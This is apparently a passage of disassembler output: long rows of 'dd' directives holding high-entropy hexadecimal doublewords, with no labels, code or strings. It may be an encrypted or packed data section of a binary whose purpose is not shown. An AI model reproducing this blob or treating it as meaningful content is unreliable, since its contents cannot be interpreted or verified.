		dd 0F74C14h, 0FB74C9C4h, 7CAC7169h, 73B7D10Fh, 51A140E9h
		dd 1DBAE156h, 1F0AA5E3h, 28CDDE08h, 0A0B27EBAh,	10FC98h
		dd 41501EF1h, 0D95D2D1Ch, 0ADB93Fh, 0BC055C1Fh,	1DFBFC12h
		dd 0C08DA0D4h, 66C8A4AFh, 0DF00E5B8h, 0D6A250C4h, 18B6AEE0h
		dd 599B124Ch, 8100EF18h, 30273839h, 260D9EC9h, 271DA2h
		dd 8CCAF5BFh, 0C700F257h, 2A9D8562h, 0A08175B5h, 14312ACh
		dd 0CD1E304Ah, 3001F080h, 9200EF6Fh, 0C453412Eh, 4C038B27h
		dd 3F28DACAh, 0AE6800A4h, 293972CCh, 7008EA7h, 0BA039188h
		dd 14E297EFh, 0C441F960h, 0C5052Ch, 1DAD571Bh, 0CA1D2AEAh
		dd 0C5001073h, 0B10978B6h, 0ABD600E6h, 768F8A5h, 323B3E85h
		dd 5C63803Ah, 2BC75913h, 90FF0C88h, 8D183FDCh, 6892E360h
		dd 0ECF111h, 5F58FB57h,	281BA3DCh, 21E01212h, 2D0D1C40h
		dd 3FC4D8ACh, 30B9C299h, 0A91A2B02h, 0ECE08958h, 0B00875Dh
		dd 0E5ED8F4Eh, 398D5140h, 6F837506h, 0F7338E03h, 4287F580h
		dd 0E3579700h, 274F9460h, 91F600C8h, 0DC135AACh, 2200F711h
		dd 3FB05828h, 28A18BCCh, 843AA4h, 8D30D392h, 0B8D159FCh
		dd 58F65D00h, 425439A2h, 8FA5036h, 6DC00010h, 2A6C5E1Ah
		dd 7E6B1E2h, 9F83491Fh,	52B73240h, 98617F41h, 0ADA3009Ch
		dd 0CAAA8286h, 0D0008AFEh, 0EC487787h, 36831h, 76F5EF5h
		dd 71218D06h, 0A3B0503h, 0C0B20BCDh, 7151F0C5h,	99140EEDh
		dd 8B607EE1h, 0A45D63C1h, 12025Ch, 2FC4247Ch, 0DD2ECEh
		dd 0DABF1623h, 636D4B29h, 94F06105h, 4420A401h,	1FF66499h
		dd 4755D8F1h, 0A5F858A1h, 9DC500EBh, 0C16A7868h, 8F51C000h
		dd 948A2813h, 47A40A82h, 6CCF715h, 0F06AE3F1h, 22BC6614h
		dd 0FF2A0EE5h, 8618E78Fh, 3DEA9A71h, 18DD4160h,	31CCE606h
		dd 250075BAh, 6FA485CBh, 533A1Ah, 4A894E5Ah, 9430B338h
		dd 0D900A3FAh, 0CB8E4052h, 0E6681FEh, 0B811277Eh, 979F3740h
		dd 5B000214h, 1CCDB50h,	1CB2C3AAh, 40DDBF05h, 1126402Ah
		dd 8500B315h, 9B823639h, 20EE824h, 12815E46h, 86E08D79h
		dd 970CC2DCh, 0F8652737h, 99CC03E2h, 2330BCA4h,	6A87ADBh
		dd 0FA3BC0F6h, 2F619D4Ch, 6B1183C6h, 702201D0h,	0FB4807ABh
		dd 548FE129h, 0D8E40094h, 0C7219510h, 4DF058h, 9E446C99h
		dd 9CACDAh, 0C5B31AA5h,	62AAF3F9h, 0B80028E6h, 6F7764C9h
		dd 0E45A83C0h, 0D40EC0D1h, 0ADF05F0Eh, 7876AE30h, 1E10121Eh
		dd 92BFF82Fh, 71540028h, 83DD6539h, 7006E903h, 0C833E47Ch
		dd 0CE7C098h, 0F7809F87h, 5F7F1031h, 0D4780800h, 91E680Bh
		dd 0A4E6038Ah, 44154861h, 33952A8h, 0DD16EC0Fh,	490A8087h
		dd 60C2A21Dh, 1C05496Ah, 0EDB84528h, 21CBDE04h,	188098BBh
		dd 24AB59F7h, 5000541Eh, 95795A5Eh, 78CEE131h, 5021D1A0h
		dd 0EEA408h, 49FA4661h,	7BC7E292h, 0C5A88901h, 0E528A6D0h
		dd 0AEE7C4h, 277FDB3Ah,	8E64BAC7h, 8563D50Fh, 48B49401h
		dd 0E26000EDh, 91F9C4DCh, 0E1463BFBh, 144D2B00h, 6FE93C84h
		dd 7C6D1528h, 82AAD139h, 0C256710Dh, 0E239C040h, 1936007Ch
		dd 28ADCD49h, 12028E05h, 0FB31384Dh, 48A84C85h,	0F680E0FFh
		dd 3E557F8Dh, 0CC6D2807h, 0FC4A1253h, 1C85C4AAh, 1AD60A80h
		dd 2C6E692h, 0D0243AF4h, 0F8A07567h, 1CAA0251h,	3841500h
		dd 0E449735Dh, 2AA9F095h, 0F306C77h, 0B9ACED7Ch, 0C6406140h
		dd 4E4880E6h, 43D7210h,	4811A888h, 0F5E594A0h, 0B014E43Ah
		dd 18D13060h, 7920286Eh, 0C4F002ACh, 65ADA86Fh,	88E94540h
		dd 0B466E119h, 0E42086B9h, 88304931h, 0CE929E0Ah, 3AC683A0h
		dd 0ADB851D1h, 3B00659Ah, 89C35A80h, 0B8B00314h, 999C0041h
		dd 0F3923351h, 0FF00AAF4h, 91AB43B9h, 301E3BD6h, 910DEA9h
		dd 4CB89F49h, 0EC1FE200h, 60C166F0h, 0BC7900D3h, 0BD43E082h
		dd 0B0F298Eh, 200AA226h, 5E9A9D23h, 0DFAF002Fh,	0ED8AB7A9h
		dd 9EEA11C4h, 0A7B24F00h, 231F4DDBh, 0E7E30018h, 164A587Fh
		dd 100C007h, 0F3960D09h, 1418EBCh, 6BAAAC2Fh, 8738A115h
		dd 0EA80FD89h, 9EB935A0h, 38300B2h, 0B3D9EDB4h,	0E5030F1Bh
		dd 1D1FEC52h, 0E819E37Ah, 1866D7B7h, 10B3D631h,	271875E0h
		dd 7150FDA7h, 7FB83C6Eh, 0FB56A2Ch, 0B60D0B9h, 593427A2h
		dd 0ED0AC900h, 87E4B060h, 793F647h, 2081A62h, 4D099043h
		dd 0BE0044B4h, 13EC8B23h, 66896CFh, 0EE0A5A94h,	0BF00213Fh
		dd 0FBC69B21h, 7C7962Ah, 0D8BD4C2Dh, 3E88200Eh,	772E2ED6h
		dd 62006954h, 5CFA37ECh, 3AFB0023h, 2B0D8348h, 78003F1Fh
		dd 30602D8h, 0E1C67Fh, 0E7338584h, 465D80B1h, 0A60F7906h
		dd 300C2Ah, 594A5622h, 5C06AB6Bh, 0DF725300h, 264B901Eh
		dd 0B2DE0F58h, 0A880C877h, 3766E7D3h, 52062EEEh, 3B1BA669h
		dd 0F62D0069h, 77E1C4E3h, 7C482ABBh, 924100B4h,	714CB95Ch
		dd 0B14D00F6h, 0C4E0233Bh, 9289319h, 0DB0A848Bh, 0B0A26A75h
		dd 5D68Bh, 0AC25962Fh, 4BD9C0B8h, 0ADD8BF65h, 2900C672h
		dd 6CC206E3h, 7E40FA4h
		dd 80EA4550h, 4CEE0276h, 0A543A880h, 0A100ABFEh, 5CD4D861h
		dd 7993BC6Bh, 628C01CAh, 47814272h, 8331B9C2h, 0FB2C1756h
		dd 18CA98F6h, 6C571C2Fh, 8BA9473Bh, 43B16CE5h, 805D902Ah
		dd 0B993D203h, 0F0D1Fh,	60DEBFA8h, 0A0CE33EDh, 83582A39h
		dd 0D7DB6C9Fh, 4EE6E005h, 50590720h, 80BAD570h,	85E3ECA8h
		dd 0BDA0CF02h, 98C80644h, 0EC633D0h, 39B16677h,	0D4361B40h
		dd 2098BE5Bh, 0C70EA600h, 713E40BDh, 0A530C728h, 6E54A1A4h
		dd 0E5196CAh, 0A4AD100Ah, 3A708181h, 18849D10h,	9706596Dh
		dd 89AAC140h, 662981CDh, 6993171Eh, 0C05AD4h, 0F71CB68h
		dd 0EBA277E2h, 1800948h, 0D9CE0C93h, 0B1812BA8h, 57FB4B2Ch
		dd 445C20D0h, 0F0C97912h, 0FCB17840h, 0FC710D1h, 0A20C012h
		dd 18DB45A1h, 7228D822h, 8904250Fh, 80A094E4h, 0CB2C4959h
		dd 0AC2F4801h, 0C2B8D129h, 34907A81h, 0AB71630Bh, 0E9F6A00h
		dd 38A81FD9h, 6F7000Fh,	51E7072Bh, 31C0E436h, 34A2CEA6h
		dd 0F08848D5h, 0E56C04A0h, 85654400h, 76AD10EBh, 536200E7h
		dd 4FC08EDh, 0B2014255h, 3EA32D01h, 905C65AEh, 16BA00D1h
		dd 9F954103h, 0F90F3FDAh, 0A3AC99E5h, 732C587h,	7A5167C8h
		dd 46A07F7Fh, 0A3CA9E4Dh, 0D052D400h, 61F6D8FFh, 273603F2h
		dd 1E4DB9A0h, 0CA5DBEB0h, 0A0CA700h, 69DE28AFh,	7E98000Bh
		dd 331468B6h, 0FB0051F8h, 907A2AB4h, 10EE485h, 5A79E998h
		dd 0CBACA7FDh, 43E270C0h, 6781ED01h, 545B3E57h,	306CF720h
		dd 0BB9E2A5Eh, 0C548F670h, 64EC0098h, 56D6CB4Fh, 7B4B0034h
		dd 0ADFCC0B1h, 0D009C8Ch, 0BDD70898h, 64F020h, 77072863h
		dd 4433AE6h, 49768A00h,	0DF966C42h, 0F2E500CCh,	342FAC7Fh
		dd 0BF60721Fh, 19B6638h, 0BBB330CFh, 986DD510h,	33D41104h
		dd 4BC063D3h, 373EADh, 0FB87C843h, 3A0A587Eh, 89F5030Bh
		dd 6E288162h, 22DCF096h, 2DD0002Ah, 491CE272h, 0C43BFF9Dh
		dd 0C6EB8164h, 9F48EFC3h, 6F7C9C0h, 3D766EDh, 0FB00485Fh
		dd 98C2FE62h, 1C9CFA52h, 0C0D92C9Ah, 99D431B0h,	0E403508Bh
		dd 0E943B294h, 1F5E909Fh, 82BD006Ah, 0E8BE6719h, 593EC7B9h
		dd 6E00F9EAh, 0D82369DFh, 18E60B04h, 0A1BAC617h, 630078D1h
		dd 0C2406636h, 720454Bh, 62EA23EDh, 2DFD5004h, 1D7C4CD3h
		dd 73656C00h, 39BD2A24h, 0EC0D02C7h, 4A3DCF6Dh,	0D0CBC057h
		dd 80230071h, 28A15EE5h, 30C154CDh, 2930E207h, 3EC12081h
		dd 0D51C19E3h, 2C24E0D8h, 0B6D7F300h, 8E151031h, 9B43276Ah
		dd 0BD96B880h, 0C32ED837h, 3000E9A2h, 4F3D26CFh, 7118C0F4h
		dd 4515EB84h, 7B3F99F2h, 0F58D8768h, 0C5B03C0Ch, 56BD82h
		dd 63759FF2h, 0C23E9806h, 2601DDB8h, 78C15416h,	8FCA1E6Bh
		dd 48C39C80h, 19CE22AAh, 3188FA18h, 0D580F030h,	61F977E4h
		dd 0C30BDF0h, 0C9F91AD3h, 0D08C002Fh, 3EAEDBBCh, 0AB038635h
		dd 0B77C54F7h, 9A381827h, 0E12D509Dh, 0C79F210Ah, 0D000906Ah
		dd 145685EDh, 0CC930E18h, 8A0B477Eh, 80D43B08h,	21551C2Bh
		dd 6A00F280h, 0B92835A3h, 9CB08Eh, 0B47F74D7h, 73662781h
		dd 8991C260h, 1276EE53h, 48204Bh, 0B267C557h, 0C709B56h
		dd 0D1F03B00h, 0D69A96B8h, 9DC607A2h, 32A2318h,	7800C2E3h
		dd 11058E71h, 48A8EEh, 0CC7FA408h, 0E30F4102h, 2E4B9600h
		dd 79229CE4h, 8D21013Ah, 507D043h, 4A72D042h, 5AD320C0h
		dd 0DA2F79h, 1395D72Ch,	921F3B53h, 0CC826B00h, 0CA61BABFh
		dd 18DDF278h, 1860BB48h, 0E001D280h, 3BAE6C44h,	7083ACB0h
		dd 7659876Eh, 60007CEBh, 0E188DEC4h, 716FAC4Ch,	8D46362h
		dd 200E87F8h, 0C0882617h, 56E78496h, 3068E4A0h,	6B40E42Dh
		dd 0FD1D0C37h, 178331FEh, 396D3CCFh, 0D01F0170h, 927346B4h
		dd 41E312Ch, 3959B1E1h,	60E40E11h, 75E30151h, 0DDBB4FB4h
		dd 0FB54D0B3h, 3AED20C0h, 3A2A55Fh, 839D7FE7h, 0E1A0D811h
		dd 92037287h, 6DA0EFFEh, 6F7CB825h, 0ECB0A982h,	793D18C6h
		dd 0FC211526h, 9D99B021h, 79F0CA21h, 6B690070h,	3A278324h
		dd 4D54E31Ah, 0D3005CC0h, 60DB430Ch, 1334535h, 5F22B1CBh
		dd 0D4F97861h, 0C16198D0h, 89EE12E8h, 9DB9399Eh, 46B2C1E6h
		dd 0E718753Eh, 0FF16C384h, 0D8332CD1h, 8A1D7FF1h, 4070DCD8h
		dd 5088EF35h, 0F25643Ah, 8091C712h, 8186CD00h, 0D239F5A7h
		dd 85A500C9h, 984060A2h, 0AFA10066h, 0CD53BC46h, 9356DD13h
		dd 0FACA0204h, 0BDCBE0D1h, 0C030A30Ch, 17189F2Bh, 982A6C00h
		dd 0EE61E56Dh, 9E672894h, 0C855082h, 8EC4295h, 952B8F1Eh
		dd 0C62A1859h, 2131430Ch, 0C4659083h, 1D22921Ah, 10CF619h
		dd 0BBB12186h, 42EFF908h, 0F513BF74h, 0BD3F1844h, 0CA45122h
		dd 1805322Ah, 4484BC85h, 0AE147249h, 769CDA21h,	55F37101h
		dd 0A56E22D9h, 3E41A848h, 2B00255Bh, 0A2D817CFh, 0B8A80E20h
		dd 0B6002A46h, 97540B3Dh, 3752CAD1h, 0C338CCECh, 0CED3514Dh
		dd 0D0F4F583h, 0CD69D001h, 98EFBF1Ch, 9CD4F040h, 7D1C6A4h
		dd 2BF51E12h, 0FE363B2h, 1C7320D8h, 130B08C0h, 7C4CD99h
		dd 3B57F91Dh, 4071E1A9h, 0FE4DF985h, 16ED4C98h,	0D4D9CE60h
		dd 0FB4EA4h, 1589923Ah,	98205414h, 0CDED738h, 0C89DD24Dh
		dd 17D1007Ch, 4BD6C6D0h, 66E88291h, 95344200h, 0CA98BC6Eh
		dd 0DD370E20h, 0D39F176Fh, 0FE00FF9Dh, 9284DB45h, 0F989764Ah
		dd 5CF6AAD0h, 7000E460h, 0A1EC3ECCh, 2701060Fh,	0F4E3E507h
		dd 1CD4025Dh, 1F7A705Eh, 40269204h, 968D093Fh, 0C70059A2h
		dd 1591DF41h, 4849E9CFh, 0D000FD7Fh, 68CDA40h, 1D283DE5h
		dd 0E102145Eh, 0EEE69545h, 0E3A9032Ch, 0CFFCC01h, 53FA1AFh
		dd 5312B0D0h, 0F5245C13h, 0C4810E99h, 0B99B85A0h, 8238EAACh
		dd 394D8083h, 621B0FC1h, 3C067A19h, 0FE80DA8Dh,	0C75F466Bh
		dd 0E6309F9Dh, 4DFF8991h, 0B0830020h, 0DE8CDBC0h, 0F57B59E2h
		dd 92403B66h, 0B50B0729h, 202C951Dh, 38A98CD7h,	0F0E1B1DDh
		dd 0B846D655h, 714CAAA7h, 9B07AADh, 5DD7003Ah, 0BF6ED14Fh
		dd 62285693h, 4701B442h, 36753996h, 0F88CC2B4h,	0E410954h
		dd 3FE8B7Ch, 0CCCDCF2Ah, 0DA874700h, 4238CEBh, 0B620EECh
		dd 0C300B0BEh, 9718C2DFh, 0F0D0BF07h, 0B910C794h, 0D10840h
		dd 5DF7CBADh, 398CE527h, 0DFC15F1Dh, 7994F64Ch,	0F8F30041h
		dd 59042B8Dh, 8101BB78h, 736A65ADh, 0B083A29Fh,	644B511h
		dd 8C40E889h, 41658A90h, 0CE0F0386h, 4F4B8F77h,	8ACA310Eh
		dd 61CB6068h, 52D14EE0h, 80BDAC7Fh, 0E4A64298h,	24C1C6C0h
		dd 70940B5Fh, 450F05F7h, 1C840C9h, 8A52834Ch, 624495DAh
		dd 0E4A17BC9h, 24751DB4h, 112D540h, 34701186h, 38AF8932h
		dd 6580FFD8h, 399DB9F3h, 0AD094EB6h, 1D059BA1h,	60DCABE8h
		dd 0F832E093h, 2E773900h, 0F66A5F4Dh, 99884C87h, 0BE3C8447h
		dd 0A462212h, 0A06520h,	87671830h, 0A201B506h, 9A9C0E8Dh
		dd 0E9DC3982h, 486D3D89h, 62321001h, 99D10409h,	3F28A130h
		dd 5C78080h, 0E13D84AAh, 0CCA37A00h, 7DADC3E2h,	50D0A102h
		dd 0EB3ED20Ch, 4C93A89h, 0AFA0C082h, 0AFF1648Ah, 70836B4h
		dd 9F189379h, 8D104EC0h, 0D6C20027h, 4801B938h,	5E8885Ch
		dd 0CBA8A24h, 18D8B357h, 5A1102B4h, 1E0444DCh, 82F5BC78h
		dd 0ADACC460h, 2A26D885h, 0BAC8DBFCh, 0B9450260h, 0CC50F498h
		dd 0A4809E0Ah, 5E7880F6h, 286F82B4h, 8933162h, 308AE5C4h
		dd 0B4D56E90h, 8136741Bh
		dd 612CC221h, 8317A97Ch, 62C27269h, 30CE0886h, 5188DDFAh
		dd 0C4485172h, 7519118Fh, 44317F0Ch, 3679A860h,	0F045E6DFh
		dd 104D0B39h, 2000A2ADh, 0C650F454h, 8940BB48h,	0E73002C2h
		dd 845868FCh, 39663A46h, 5A0FE287h, 38D82CACh, 0C010480Dh
		dd 9C0248AFh, 63F8823Ah, 0B48468F5h, 0DA41C0FEh, 55CBD52h
		dd 0F74CE701h, 80EB5A12h, 880048A8h, 0C0619AACh, 4DA83EB9h
		dd 306FE83h, 0A90150F7h, 2D49C4A0h, 24E41006h, 3A0CB489h
		dd 93BCE9DCh, 45FD8690h, 0F60090F2h, 0A609A539h, 60AC49CCh
		dd 0CE84E065h, 2B133EC0h, 5C419A4Dh, 7737E9C7h,	0CAC28050h
		dd 4318A044h, 0E4831E58h, 0CC3DC01Eh, 1C91540h,	85AFAA13h
		dd 0B4C0341Ch, 7EA6F044h, 41792F21h, 30304AF6h,	5814D0ECh
		dd 386FBEC9h, 3378ADC8h, 0E57731E1h, 91E80C69h,	81104138h
		dd 0E697F0B0h, 1F512012h, 31CD2C20h, 0C1089301h, 41C4BA9h
		dd 22CE4896h, 30364C45h, 0FA377B10h, 0C8783303h, 1DFD6C3Dh
		dd 2BAC8150h, 0D58A4048h, 1640E998h, 189D568Ch,	653D7C7h
		dd 0AC206928h, 0FA14594h, 19150360h, 2B77CD23h,	310CC38h
		dd 259EF5F9h, 98EC5910h, 3BDFDC46h, 31235E18h, 9989EE0Ch
		dd 38DCBCD2h, 27B1A8E9h, 4F22C39h, 0C214E810h, 104FC332h
		dd 8CAF974Ch, 161AD282h, 0F16C2242h, 840588BEh,	1D513590h
		dd 0F13EBC40h, 792DE1D3h, 0ADA12BEEh, 0FA6E6064h, 0A60BC80h
		dd 0EE92AC40h, 0A9C22BA1h, 0BB8F6054h, 0B496B6Ah, 3CA82490h
		dd 3DB31854h, 7DECA90Ah, 22A12307h, 6242E773h, 0CD4BEAAh
		dd 64AD1B23h, 5B7A0C71h, 50A2A10Ch, 0C479B0ECh,	1F576208h
		dd 0B07CA615h, 84E9B3ECh, 281A2C02h, 3EFB02A1h,	0C7DE220Ch
		dd 614CC929h, 5428879h,	47088C24h, 0C5C5802Dh, 7CF48210h
		dd 9011558Ch, 6C01F6C7h, 22A2FDE2h, 20886D0h, 6F50272Bh
		dd 0BAE60823h, 41E9A826h, 0BA53C2A0h, 11A33380h, 160910F5h
		dd 24AF1025h, 0E3B0FC2Bh, 99B15D94h, 88C001Eh, 62A218FEh
		dd 0C42270FBh, 7C4F03E9h, 0D10241E0h, 0E8619B14h, 1B1FD978h
		dd 81AA898h, 184069A2h,	2098F3B6h, 9BC208D0h, 42018489h
		dd 11219BEAh, 283DC338h, 31CC2849h, 2E84462h, 82108C85h
		dd 663A0997h, 0F0DF1829h, 9CA4FE8h, 42099846h, 8208268Bh
		dd 0F1974109h, 0E6E2019Ah, 0ED37118Ch, 0D96DC268h, 15F00851h
		dd 7B28C6DAh, 7F7418E7h, 46072981h, 8237284Fh, 13441880h
		dd 2210704Ch, 8B396466h, 0B5E23528h, 8898659h, 0D8516164h
		dd 0D02589Fh, 1DFF6E37h, 8205AC02h, 2D182D0h, 90FC642h
		dd 0D8AC24F0h, 4A04649Fh, 47C5F3F8h, 0F80ABFCCh, 22088318h
		dd 5B428084h, 571968DEh, 21928E71h, 1104C30h, 7D484208h
		dd 1E497D04h, 106D3054h, 81268C22h, 65C24B3h, 27FFD0A9h
		dd 434C08Ch, 811477D8h,	4B105CECh, 1574E922h, 2815220Ch
		dd 0E3C697A0h, 2B2C1744h, 0C1B8126Bh, 0E5B66781h, 954C0113h
		dd 0A8B0F8B8h, 31E162C8h, 0FF52E0C5h, 1AC88806h, 18503210h
		dd 0DC4BA020h, 0C25081DCh, 55A4245Dh, 3F283892h, 4E3184EFh
		dd 0ED3A40F5h, 40593092h, 0CAE0651Ch, 0C93E541h, 2491D8E0h
		dd 6C00EBA5h, 0CCA0011Bh, 0B0C9FB60h, 0C043EFFh, 61B76939h
		dd 4CF18C41h, 82263B10h, 0AC415093h, 0E8422B03h, 0A2E48230h
		dd 72F01EFEh, 95255A01h, 529C38A0h, 3FD099D4h, 0E680D863h
		dd 0C645F304h, 8C5F055h, 0F8C0DF19h, 1C617BE3h,	545079E4h
		dd 87A2448h, 57D401AFh,	4631F018h, 0E98187E4h, 586737D1h
		dd 0C8BA1001h, 1E62E646h, 1EE98638h, 8FCA2008h,	0B1308084h
		dd 8D66460Fh, 0DC2608C0h, 52C62DE0h, 0E6C220E2h, 788F965Dh
		dd 464165C3h, 0D01D6489h, 5782A06h, 4F8C600h, 0AD5E6645h
		dd 8064A72Eh, 6553AE5Bh, 991B9603h, 8A88B270h, 0DA9808EAh
		dd 1FF75C80h, 9918980Dh, 0C6388F90h, 381E82E8h,	5B6DBE1Bh
		dd 0B03801F6h, 8646EC8Ah, 0AB08BAD8h, 9FE3A013h, 0E51998Bh
		dd 12D04085h, 5C9878DFh, 806B4C18h, 62EDF0E1h, 0EB2070E8h
		dd 0B8EA9886h, 0E0A1E6F1h, 0E345EF71h, 0A62EBBF0h, 12B95C3Ah
		dd 207C1E66h, 30AF1569h, 101B8862h, 8D8B68ACh, 9B66D815h
		dd 68CB31F4h, 4C2065C6h, 609461E6h, 0D3B83806h,	3C4F1FC2h
		dd 0FDC54F83h, 93D14877h, 0C098E02Bh, 0B0E2367Eh, 3EF1B8ABh
		dd 24510123h, 98405902h, 0F6649626h, 409FF290h,	93911C05h
		dd 70C0469Fh, 26705037h, 80E4E940h, 2093FFE6h, 32845EE0h
		dd 0A36184C2h, 0C5B2A648h, 209BA09Dh, 447CDBFEh, 6089A62h
		dd 0D96C235Bh, 0C5F2C6E1h, 0EE2EF045h, 0F064E0E9h, 6311C081h
		dd 388420FDh, 5FA8CC66h, 7C9EF810h, 7880A3E6h, 0E8CE4108h
		dd 50CCF3E0h, 48C50925h, 0E13008F4h, 0BA6DC608h, 8F628CCh
		dd 6FD4046h, 18C6B9FCh,	7430B792h, 0A581CC51h, 9C8B228h
		dd 4D061CD7h, 47922EAFh, 818B34D0h, 135C604h, 60152A6h
		dd 467024B5h, 0ACFB09CAh, 0E149B820h, 163AE014h, 8164002Ch
		dd 0B4A33974h, 921D60BAh, 0F200ED0Eh, 126FE36Bh, 65240CC8h
		dd 52089472h, 4032B940h, 283112D6h, 18D7181Ah, 591108Fh
		dd 0FFA6F283h, 0F927381Fh, 8E9D20Ch, 0FD563E92h, 35AAB207h
		dd 47EBC448h, 92813745h, 12F02ADCh, 85C28368h, 888500Dh
		dd 5208A2D2h, 0FBB208C2h, 2B047206h, 0B3D04518h, 3B1040DEh
		dd 29A01208h, 0D2A940h,	0F0817661h, 444E99F5h, 947FA500h
		dd 189C9323h, 8C80501Ah, 0C6EDB0C3h, 817D5C0h, 5B492465h
		dd 0D7C4202Dh, 0E32E4480h, 61C58503h, 1FCD392h,	60EC2AF8h
		dd 43377E72h, 50111F88h, 22A5C52h, 2CF65380h, 0BF744502h
		dd 3017ED4h, 0D443E5B1h, 9240211Eh, 883A4823h, 0BC9BA3E8h
		dd 38EEBE19h, 120886D4h, 5190F00Bh, 2FD0FCC0h, 70A8CC32h
		dd 35329208h, 0BE751016h, 90C3089Ch, 4380DCD4h,	726FE29Fh
		dd 0F208CFEFh, 21F09C75h, 0B4778D6Ah, 0AF02740Eh, 1E2E81F5h
		dd 9ED0491Bh, 1F43789Fh, 33E935Eh, 116D337Eh, 4ABA1AE0h
		dd 0DDB43C00h, 0C3639017h, 0AC6F3E5Dh, 3954AA00h, 0D5CF02B8h
		dd 9E381306h, 32583AEEh, 29083B68h, 660424B6h, 3A97BD03h
		dd 3030EF06h, 0BD81DE46h, 10A47B89h, 0AD74140Fh, 0F52F0330h
		dd 0A9777CBDh, 0C1304256h, 0F840A77Fh, 6CE34F10h, 201E1110h
		dd 0A28B49F0h, 0F0401220h, 0D584A2C1h, 462A6487h, 0DE010872h
		dd 0FE293111h, 0E3D333CBh, 3E100F1Fh, 0BEC3797Dh, 68197FE5h
		dd 9A07ACDh, 195ED888h,	9CFCE679h, 0C8F886Ch, 7E38121Fh
		dd 0BE05747Eh, 1E2930D7h, 8D4F6D87h, 0B5E0780Eh, 45C38046h
		dd 1FCB18C6h, 76110230h, 5337DE2Eh, 4971DC83h, 4B09081Fh
		dd 2274FE09h, 414DC610h, 1421B318h, 13D3892h, 44D3B818h
		dd 495E8301h, 0B04DDCDFh, 72240B03h, 3E800060h,	1768C254h
		dd 0B6646371h, 38684130h, 57446608h, 0E7430065h, 0B7612C88h
		dd 488138C4h, 8F18F33Ch, 0A3692D1Fh, 312CF0CBh,	4108DDC1h
		dd 859F11C0h, 80EDE1F0h, 7B7CBD61h, 0B4079D90h,	9178A12Dh
		dd 97B701C1h, 9FBC40BDh, 847C3E7Ch, 8183210Ch, 8DD5830h
		dd 0A5FE51C0h, 0E8DCB243h, 0E12941E3h, 3E1DBC1h, 9E630194h
		dd 5A301h, 0C3E47623h, 9D07DA20h, 0C15370C0h, 9E78E4E3h
		dd 562E6500h, 0C5440698h, 8FAF06D4h, 31E5C939h,	0E06D6321h
		dd 0A1A34894h, 0ACC59040h, 0E1F90810h, 258C3F38h, 3BDDA1C7h
		dd 44539B10h, 0A7DFB981h
		dd 5398C9Ch, 4738C142h,	0C09B8108h, 0C6170810h,	0C3343866h
		dd 1C3C70E1h, 0A47E00CDh, 0C938E38Ch, 30CAE045h, 34707CA3h
		dd 0A055FC87h, 1847FD08h, 40D20A9Bh, 0C00DE4C5h, 0B031C3A4h
		dd 1E03240Fh, 0D7A3238Bh, 72253801h, 3383A4C1h,	48906C04h
		dd 2125C618h, 40790571h, 0F0AFFBC1h, 94567699h,	270171BEh
		dd 9023A49Bh, 0E00899AEh, 0FC5FFBB9h, 0F3F6B502h, 98A6D9C2h
		dd 0C3184828h, 0FC08ADD5h, 37CAD07h, 0D7226A70h, 0C1A54131h
		dd 4004FD03h, 9CFC3C7Ch, 11C87183h, 0F943E30Ch,	0DC946DC5h
		dd 7A449482h, 90FF5785h, 83D7F4C1h, 0E5318A32h,	97F884E6h
		dd 6743224Fh, 7CF7C52Bh, 88B8C36Fh, 2561242Fh, 0D206542Ch
		dd 0DD4762D9h, 8302391h, 3FC020C8h, 4920BDD6h, 928C089h
		dd 662303B4h, 5683A5E6h, 0FC868EF7h, 0D348081Fh, 0C130437Ch
		dd 0E515D954h, 5E055189h, 11A67022h, 8101984Fh,	829DE538h
		dd 44BCC24h, 0BF839B1Dh, 204DE11h, 490FBF5Dh, 0D450385h
		dd 0B8A33810h, 89C1E446h, 843ACD6Fh, 1CEBA539h,	0DD703C34h
		dd 0B9EDFD77h, 33C1DF39h, 705BB543h, 0ACE84506h, 0E5203987h
		dd 0B2A32B7Ah, 1B6C6070h, 0C58841DFh, 330C5D5h,	0D9706CB2h
		dd 68FDF808h, 82250C88h, 1E8AC370h, 92B03970h, 18E08629h
		dd 23E338B9h, 398770ADh, 0BE2864A9h, 0A609B303h, 8107BC3h
		dd 83134DE3h, 7CEC7CE5h, 0D371CC18h, 900145B9h,	0E5C32640h
		dd 0D2F0FBD0h, 39C4D157h, 430328A5h, 8241FE6h, 45F85CEEh
		dd 225B1032h, 71851287h, 0BEE77C49h, 0CA850CF4h, 0E539F554h
		dd 541E3A26h, 0F0EC1F15h, 226AF6B1h, 462C87FBh,	5A1944D5h
		dd 0BC41B009h, 0F45F2023h, 83DA0204h, 310D23A0h, 0A3085B41h
		dd 0A068221Dh, 0C239B20Eh, 0CBD30541h, 5F1AFC41h, 2F4F02F8h
		dd 22876984h, 0C0C1CAF2h, 27C5B1Ah, 0F9A07B6Ah,	54503B6h
		dd 0ECA37015h, 0DD2FF0F0h, 0B6E32283h, 3380962h, 4ECBEEBh
		dd 294D8EDCh, 39A44CB6h, 90CC5C44h, 2310E631h, 2F45FECh
		dd 5002B792h, 396926BBh, 16984054h, 15817CADh, 8F74CB45h
		dd 0E111C500h, 1B5774B8h, 0B032C3F0h, 26B6EAAFh, 232B3814h
		dd 0D8E0EC16h, 444E9B6Fh, 38C929BBh, 36815C3h, 0CB762163h
		dd 2866717Ch, 23E97239h, 1BC010E9h, 0A4865A63h,	402C62F0h
		dd 0F0BEE283h, 2CB4BC04h, 53448DFBh, 9960CE1h, 1089CC6Ah
		dd 2C514308h, 24A6F1E0h, 9C96274h, 4938A421h, 9FE9C304h
		dd 3B570210h, 268DC049h, 0A366B19Bh, 52681609h,	6BA09C43h
		dd 0A4440AD0h, 63BA40E5h, 8C405C6Eh, 80010931h,	0B0C31B83h
		dd 31D4D103h, 23109008h, 4B05FD3h, 55BC0491h, 81C0C545h
		dd 5FD4E3D4h, 88E604B0h, 2542B2D3h, 9885FD99h, 3D907CD1h
		dd 0E6673911h, 0E924050Ch, 8C566C8h, 0C449B423h, 418BE15h
		dd 0C21483EEh, 0D2495B8Dh, 23B0A4AFh, 0FC02A09Fh, 894CF1FEh
		dd 0E8634501h, 7CB6D002h, 2B34890Ch, 70A53948h,	23A60C58h
		dd 0A740CA1Bh, 398309C8h, 541168B1h, 2D0890CBh,	20FA231Fh
		dd 76E48954h, 28C3A381h, 0F8E01CC1h, 0F9ECA98Ah, 1DE8C207h
		dd 604624C1h, 2458630Ch, 4FE31248h, 5E12501Eh, 0F8CF5448h
		dd 47E62517h, 0C72D8944h, 7ACFE3C8h, 0AC09B3E4h, 6266A87Ch
		dd 62116CD1h, 33C3C896h, 0BEC2E449h, 0D9C53308h, 0BFD1338Dh
